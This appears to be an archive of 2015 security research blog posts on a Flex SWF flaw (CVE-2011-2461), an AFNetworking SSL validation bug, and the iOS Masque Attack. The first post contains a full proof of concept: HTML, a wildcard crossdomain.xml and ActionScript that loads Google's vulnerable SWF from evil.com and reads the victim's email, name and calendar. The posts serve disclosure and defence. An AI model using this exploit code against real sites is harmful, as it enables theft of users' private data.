Monday, March 30, 2015

Exploiting CVE-2011-2461 on google.com

As a follow up of our Troopers 2015 presentation about CVE-2011-2461 we want to release more details about a real world exploitation scenario targeting Google services.
During our large-scale analysis of web sites hosting vulnerable SWF files, we found out that also Google was affected.

Attack Flow

In the next lines we are assuming a basic knowledge of the CVE-2011-2461 vulnerability; make sure to read our previous cross-posts on NibbleSec or Minded Security in case you missed something. In addition, please note that we are using evil.com as a "label" for a fictitious site controlled by an attacker.

The following steps outline a successful attack:
- The victim is logged on google.com, and visits a malicious website
- The malicious site loads an HTML page, which embeds the vulnerable SWF together with a malicious SWF resource file (specified via FlashVars)
- The vulnerable SWF file is loaded by the Flash player, consequently loading the malicious SWF file (after having verified the crossdomain.xml, hosted on the attacker's site)
- Since the malicious SWF inherits the SecurityDomain of the vulnerable SWF, it can access HTTP responses from the victim's domain, leading to an "indirect" Same-Origin Policy bypass in fully patched web browsers and plug-ins.


Proof of Concept

Here follow the PoC files.

http://evil.com/poc/test.html

<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%; height:50%"></textarea>
<object width="100%" height="100%"
type="application/x-shockwave-flash"
data="https://www.google.com/wonderwheel/wonderwheel7.swf">
<param name="allowscriptaccess" value="always">
<param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf">
</object>

http://evil.com/crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

http://evil.com/poc/URLr_google.swf (ActionScript code below)

package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events.*;
import flash.net.*;
import flash.external.ExternalInterface;

public class URLr_google extends Sprite {
public static var app : URLr_google;
private static var email : String;

public function main():void {
app = new URLr_google();
}

public function URLr_google() {
var url:String = "https://www.google.com/?gws_rd=cr";
var loader:URLLoader = new URLLoader();
configureListeners(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}

private function pingCalendar():void {
var url:String = "https://www.google.com/calendar/";
var loader:URLLoader = new URLLoader();
configureListenersCalendar(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListenersCalendar(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);
}

private function getAgenda():void {
var url:String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader:URLLoader = new URLLoader();
configureListenersAgenda(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListenersAgenda(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);
}

private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var s:String = loader.data;
var pattern:RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results:Array = s.match(pattern);

if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");
pingCalendar();
}
}

private function completeHandlerCalendar(event:Event):void {
getAgenda();
}

private function completeHandlerAgenda(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var res:String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern:RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results:Array = unescape(res).match(pattern);

if (results.length > 0) {
var name:String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");
}
}
}
}

By asking the victim to access the page located at http://evil.com/poc/test.html, the attacker is able to steal the following information:
  • Gmail address
  • FirstName
  • LastName
  • Future events stored in Google Calendar

By inspecting the malicious resource "module", you will notice that it makes three different HTTP requests:
  1. 1st GET request to https://www.google.com/?gws_rd=cr to steal the victim's email address;
  2. 2nd GET request to https://www.google.com/calendar/ to initialize the Google Calendar for the current session;
  3. 3rd GET request to https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=[JUST_STOLEN_EMAIL_ADDRESS] to steal the victim's first name, last name and agenda.

Obviously, many other attack scenarios are possible, depending on the pages functionalities. For instance, the malicious SWF could steal anti-CSRF tokens and perform actions on behalf of the user.

For the sake of transparency: we reported the issue to Google security team early in December, and they quickly patched it and awarded us thanks to their bug bounty program. Cheers!

As a final reminder to developers, website's owners and security teams: ParrotNG is your friend! Make sure to inspect all hosted SWF files, or at least sandbox them under different domains. In the latter, ensure that sensitive domains are not giving trust to sandboxing domains through relaxed crossdomain policy files, since the "trust chain" would cancel out the benefits of such domains partition.


Brought to you by Mauro Gentile and Luca Carettoni

Thursday, March 26, 2015

SSL MiTM attack in AFNetworking 2.5.1 - Do NOT use it in production!

During a recent mobile application security analysis for one of our clients, we identified a quite unobvious behaviour in apps that use the AFNetworking library.

It turned out that because of a logic flaw in the latest version of the library, SSL MiTM attacks are feasible in apps using AFNetworking 2.5.1.

The issue occurs even when the mobile application requests the library to apply checks for server validation in SSL certificates.
Given that AFNetworking library is one of the most popular networking library for iOS and OS X and it is used by Pinterest, Heroku and Simple among others, the problem could affect a very high number of mobile users.
Here's the usage of AFNetworking library on Github:

 
Github statistics for the AFNetworking library

 
Although the vendor has been aware of this issue since February 13th, 2015, there's still no official patch for it.


Update 27.03.15: AFNetworking patched the issue in version 2.5.2 a few hours after this post, we appreciated that.

Update 22.04.15: As correctly pointed out in this post (English version) by mala, AFNetworking 2.5.2 cannot still be considered secure, since it  does not enforce hostname validation by default.
We did not stress such circumstance in our blogpost as we were optimistically assuming that developers read the validatesDomainName property documentation, stating:

"- Whether or not to validate the domain name in the certificate's CN field. Defaults to `YES` for `AFSSLPinningModePublicKey` or `AFSSLPinningModeCertificate`, otherwise `NO`."

This default behaviour is present and documented since the first introduction of the property, that is from version 2.1.0.
Since the library does not verify by default that the hostname of the request matches to the hostname in the certificate, an attacker could use an arbitrary certificate signed by a trusted CA and successfully perform a MiTM attack.

In other words, if you're using a version of AFNetworking which is >= 2.1.0 and <= 2.5.2, then you should be vulnerable by default, unless you set validatesDomainName to YES.

The "new" issue was addressed in AFNetworking 2.5.3, where the default value of validatesDomainName has been properly set to YES under all security policies.

 

The Issue

On the 6th of March, when looking at the tested application source code, we identified the following part:
#if TARGET_IPHONE_SIMULATOR && defined(DEBUG)     [AFSecurityPolicy setAllowInvalidCertificates:YES]  #endif

SSL certificate validation was disabled if and only if the build target was the iPhone simulator and the DEBUG flag was set. Let's remind that the default value of the allowsInvalidSSLCertificate property is NO.

We tested the app on a real device and, unexpectedly, we found that all the SSL traffic could be regularly intercepted through a proxy like Burp without any intervention!

Further investigation led us to a particular part in AFNetworking code where trust evaluation was somehow disabled.
After few minutes, we figured out that there was a logical bug while evaluating trust for SSL certificate, whose consequence was to completely disable SSL certificate validation.

- (BOOL)evaluateServerTrust:(SecTrustRef)serverTrust forDomain:(NSString *)domain 
method within the AFSecurityPolicy.m file: 

- (BOOL)evaluateServerTrust:(SecTrustRef)serverTrust
      forDomain:(NSString *)domain
{
  NSMutableArray *policies = [NSMutableArray array];
  if (self.validatesDomainName) {
     [policies addObject:(__bridge_transfer id)SecPolicyCreateSSL(true, (__bridge CFStringRef)domain)];
  } else {
     [policies addObject:(__bridge_transfer id)SecPolicyCreateBasicX509()];
  }

  SecTrustSetPolicies(serverTrust, (__bridge CFArrayRef)policies);

  if (self.SSLPinningMode != AFSSLPinningModeNone &&
 !AFServerTrustIsValid(serverTrust) && 
!self.allowInvalidCertificates) {
   return NO;
 }

 NSArray *serverCertificates = AFCertificateTrustChainForServerTrust(serverTrust);
    switch (self.SSLPinningMode) {
        case AFSSLPinningModeNone:
            return YES;

Which means that if pinning is not used,

 SSLPinningMode == AFSSLPinningModeNone

then the yellow-highlighted  `if` statement evaluates to `false`, even though the property `allowInvalidCertificates` is set to `NO`.

The code flow will hence reach the red-highlighted branch, with the result of cancelling out the whole SSL certificate validation.

It is also important to note that the default value of SSLPinningMode is, indeed, `AFSSLPinningModeNone`.

After a few "feeling cool" moments, we discovered that the implementation flaw was already known and reported here. One month later a new issue was submitted with a more clear description.
Further investigation allowed us to understand that the bug was introduced in late January during the development of AFNetworking 2.5.1.
Warning: 2.5.1 is the latest version at the time of this writing and is installed by default using CocoaPods if not stated otherwise. Refer to the update note above.

 

The impact: SSL MiTM attacks

Eventually, the overall risk can be evaluated as high since a MiTM attack is feasible in all iOS applications using AFNetworking 2.5.1, even though the developers were mindful enough to disable debug settings in the production build.
Moreover, take into consideration that mobile apps are typically used while being connected via public hotspots.


Remediation

Minded Security suggests to consider applying the patch proposed by duttski on his GitHub AFNetworking code, as a workaround until an official patch will be released (click to enlarge):
Unofficial Patch of AFNetworking issue


Finally, it's worth mentioning that setting allowInvalidCertificates to YES would make you deliberately vulnerable no matter what the library does (yes, we know you know, but.. you know..;).

Brought to you by Simone Bovi and Mauro Gentile

Thursday, March 19, 2015

The old is new, again. CVE-2011-2461 is back!

On March 19th @ Troopers 2015, me (Mauro Gentile) and Luca Carettoni presented an in-depth study on a very fascinating bug affecting old versions of Adobe Flex SDK.

For the sake of precision, this is a cross-post of the NibbleSec post.

Although Adobe patched the bug in 2011, it is still possible to exploit vulnerable SWF applications in fully patched web browsers with the latest version of Adobe Flash Player; successful exploitation leads to Same-Origin Request Forgery and Cross-Site Content Hijacking.

The particularity of (CVE-2011-2461) is that vulnerable Flex applications have to be recompiled or patched; even with the most recent Flash player, vulnerable Flex applications can be exploited. As long as the SWF file was compiled with a vulnerable Flex SDK, attackers can still use this vulnerability against the latest web browsers and Flash plug-in.

We conducted a large scale analysis against many high-profile web sites and we found out that a considerable portion is still hosting vulnerable Flex applications.

During the past months, we've done our best to privately disclose this issue to some of the largest websites, but we won't be able to reach a broader audience without publicly releasing the technical details.

The Issue

Starting from Flex version 3, Adobe introduced runtime localizations.
A new component in the Flex framework — the ResourceManager — allows access to localized resources at runtime. 
Any component that extends UIComponent, Formatter, Validator have a ResourceManager property, which allows the SWF file to access the singleton instance of the resource manager. 
ResourceManager exposes by default a property that can be controlled by an attacker via a specific Flash Variable: resourceModuleURLs.
Adobe Flex SDK (between 3.x and 4.5.1) is affected by such issue, since the parent SWF file loads the child module, and sets its SecurityDomain to SecurityDomain.currentDomain.
Obviously, this leads to:
  • Same-Origin requests forgery
  • Flash XSS (in older versions of the Flash player).
An attacker would need to embed the following content on a malicious HTML page and change resourceModuleURLs value to the malicious resource, such as http://at.tack.er/malicious.swf.


The Impact: Same-Origin Request Forgery

When successfully exploited a Same Origin Request Forgery attack allows a malicious web site to perform arbitrary requests to the vulnerable site, and read its response without restrictions.

In our case, it is possible to force the affected Flash movies to perform arbitrary requests to the hosting server and return the responses back to the malicious Flash file.
Since HTTP requests contain cookies and are issued from the victim’s domain, HTTP responses may contain private information including anti-CSRF tokens and user's data.

 

Detecting vulnerable Flex apps

We developed ParrotNG, an open-source Java-based tool for automatically identifying vulnerable SWF files, built on top of swfdump. It can be used both as a command line tool and as a Burp Pro Passive Scanner Plug-in.
You can download it from https://github.com/ikkisoft/ParrotNG/ - refer to the "How to Use" section in the README.md for further details.

How to protect

After having identified all Flex SWF files compiled with a vulnerable version of the Adobe Flex SDK, there are three possibilities:
  • Recompile them with the latest Apache Flex SDK, including static libraries;
  • Patch them with the official Adobe patch tool, as illustrated here. This seems to be sufficiently reliable, at least in our experience;
  • Delete them, if not used anymore.

Tuesday, March 3, 2015

iOS Masque Attack Demystified

The Masque Attack, recently discovered by FireEye security researchers, sets a new level of warning for iOS users.
This is a dangerous attack that also threatens non jailbroken Apple iOS devices both on iOS 7.x and 8.x platforms. While some issues were being fixed in iOS 8.1.3, it has been found that the very same version is affected by a variation of the attack.

This attack leverage the easiness to obtain valid enterprise certificates and provisioning profiles from the open Internet in order to deploy a malicious app that substitutes a regularly installed one on the target device.

This malicious app can read all the data belonging to the previous app (the Keychain being an exception) and could also be used to perform a phishing attack by mimicking the UI of the original app in order to steal user credentials.




It is important to note that this attack poses to iOS users a greater risk than the Android counterpart. Because on Android there is an option that forbid users to install applications from sources that are not the official Play Store, while on iOS this choice is not available.

Minded Security has written a white paper to give the reader a deep insight of the attack by illustrating the key concepts behind it and proposing some remediations.